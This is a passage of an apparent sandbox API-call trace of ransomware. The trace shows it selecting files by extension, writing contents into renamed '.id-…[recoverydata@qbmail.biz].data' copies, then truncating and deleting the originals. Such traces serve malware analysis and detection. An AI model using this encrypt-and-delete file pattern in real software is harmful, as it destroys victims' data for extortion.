[0082.823] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0082.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.823] lstrlenW (lpString=".doc") returned 4 [0082.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.823] lstrlenW (lpString=".docx") returned 5 [0082.823] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0082.823] lstrlenW (lpString=".pdf") returned 4 [0082.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.823] lstrlenW (lpString=".xls") returned 4 [0082.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.823] lstrlenW (lpString=".xlsx") returned 5 [0082.823] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0082.823] lstrlenW (lpString=".ppt") returned 4 [0082.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.823] lstrlenW (lpString=".zip") returned 4 [0082.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.823] lstrlenW (lpString=".rar") returned 4 [0082.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.823] lstrlenW (lpString=".bz2") returned 4 [0082.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString=".7z") returned 3 [0082.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString=".dbf") returned 4 [0082.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString=".1cd") returned 4 [0082.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString=".jpg") returned 4 [0082.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString=".doc") returned 4 [0082.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString=".docx") returned 5 [0082.824] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0082.824] lstrlenW (lpString=".pdf") returned 4 [0082.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString=".xls") returned 4 [0082.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString=".xlsx") returned 5 [0082.824] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0082.824] lstrlenW (lpString=".ppt") returned 4 [0082.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.824] lstrlenW (lpString=".zip") returned 4 [0082.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.825] lstrlenW (lpString=".rar") returned 4 [0082.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.825] lstrlenW (lpString=".bz2") returned 4 [0082.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.825] lstrlenW (lpString=".7z") returned 3 [0082.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.825] lstrlenW (lpString=".dbf") returned 4 [0082.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.825] lstrlenW (lpString=".1cd") returned 4 [0082.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0082.825] lstrlenW (lpString=".jpg") returned 4 [0082.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.825] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.825] lstrlenW (lpString="Office32WW.xml") returned 14 [0082.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.828] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=4274) returned 1 [0082.828] CloseHandle (hObject=0x204) returned 1 [0082.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0082.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.828] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.828] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0082.829] GetLastError () returned 0x0 [0082.829] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0082.831] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0082.832] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0082.833] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0082.833] SetEndOfFile (hFile=0x1d4) returned 1 [0082.833] CloseHandle (hObject=0x1d4) returned 1 [0082.834] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.834] SetEndOfFile (hFile=0x204) returned 1 [0082.835] CloseHandle (hObject=0x204) returned 1 [0082.835] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.836] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0082.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.836] lstrlenW (lpString=".doc") returned 4 [0082.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.836] lstrlenW (lpString=".docx") returned 5 [0082.836] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.836] lstrlenW (lpString=".pdf") returned 4 [0082.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.836] lstrlenW (lpString=".xls") returned 4 [0082.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.836] lstrlenW (lpString=".xlsx") returned 5 [0082.836] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.836] lstrlenW (lpString=".ppt") returned 4 [0082.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString=".zip") returned 4 [0082.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.837] lstrlenW (lpString=".rar") returned 4 [0082.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString=".bz2") returned 4 [0082.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString=".7z") returned 3 [0082.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString=".dbf") returned 4 [0082.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString=".1cd") returned 4 [0082.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString=".jpg") returned 4 [0082.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.837] lstrlenW (lpString=".doc") returned 4 [0082.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.837] lstrlenW (lpString=".docx") returned 5 [0082.837] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.837] lstrlenW (lpString=".pdf") returned 4 [0082.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString=".xls") returned 4 [0082.838] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString=".xlsx") returned 5 [0082.838] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.838] lstrlenW (lpString=".ppt") returned 4 [0082.838] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.838] lstrlenW (lpString=".zip") returned 4 [0082.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.838] lstrlenW (lpString=".rar") returned 4 [0082.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString=".bz2") returned 4 [0082.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString=".7z") returned 3 [0082.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.838] lstrlenW (lpString=".dbf") returned 4 [0082.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.838] lstrlenW (lpString=".1cd") returned 4 [0082.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.838] lstrlenW (lpString=".jpg") returned 4 [0082.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.839] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.839] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0082.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.840] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=16852) returned 1 [0082.840] CloseHandle (hObject=0x204) returned 1 [0082.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0082.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.840] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.840] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.840] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0082.841] GetLastError () returned 0x0 [0082.841] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x41d4, lpOverlapped=0x0) returned 1 [0082.845] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0082.847] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0082.847] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0082.847] SetEndOfFile (hFile=0x1d4) returned 1 [0082.847] CloseHandle (hObject=0x1d4) returned 1 [0082.850] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.850] SetEndOfFile (hFile=0x204) returned 1 [0082.851] CloseHandle (hObject=0x204) returned 1 [0082.852] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.852] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0082.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.852] lstrlenW (lpString=".doc") returned 4 [0082.852] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.852] lstrlenW (lpString=".docx") returned 5 [0082.852] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.853] lstrlenW (lpString=".pdf") returned 4 [0082.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString=".xls") returned 4 [0082.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString=".xlsx") returned 5 [0082.853] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.853] lstrlenW (lpString=".ppt") returned 4 [0082.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.853] lstrlenW (lpString=".zip") returned 4 [0082.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.853] lstrlenW (lpString=".rar") returned 4 [0082.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString=".bz2") returned 4 [0082.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString=".7z") returned 3 [0082.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.853] lstrlenW (lpString=".dbf") returned 4 [0082.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.853] lstrlenW (lpString=".1cd") returned 4 [0082.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.854] lstrlenW (lpString=".jpg") returned 4 [0082.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.854] lstrlenW (lpString=".doc") returned 4 [0082.854] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString=".docx") returned 5 [0082.854] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.854] lstrlenW (lpString=".pdf") returned 4 [0082.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString=".xls") returned 4 [0082.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString=".xlsx") returned 5 [0082.854] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.854] lstrlenW (lpString=".ppt") returned 4 [0082.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.854] lstrlenW (lpString=".zip") returned 4 [0082.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.854] lstrlenW (lpString=".rar") returned 4 [0082.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.855] lstrlenW (lpString=".bz2") returned 4 [0082.855] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.855] lstrlenW (lpString=".7z") returned 3 [0082.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.855] lstrlenW (lpString=".dbf") returned 4 [0082.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.855] lstrlenW (lpString=".1cd") returned 4 [0082.855] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0082.855] lstrlenW (lpString=".jpg") returned 4 [0082.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.855] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.855] lstrlenW (lpString="Setup.xml") returned 9 [0082.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.856] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=31094) returned 1 [0082.856] CloseHandle (hObject=0x204) returned 1 [0082.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0082.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.857] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.857] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0082.857] GetLastError () returned 0x0 [0082.857] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x7976, lpOverlapped=0x0) returned 1 [0083.485] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0083.487] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0083.487] WriteFile (in: hFile=0x1d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, 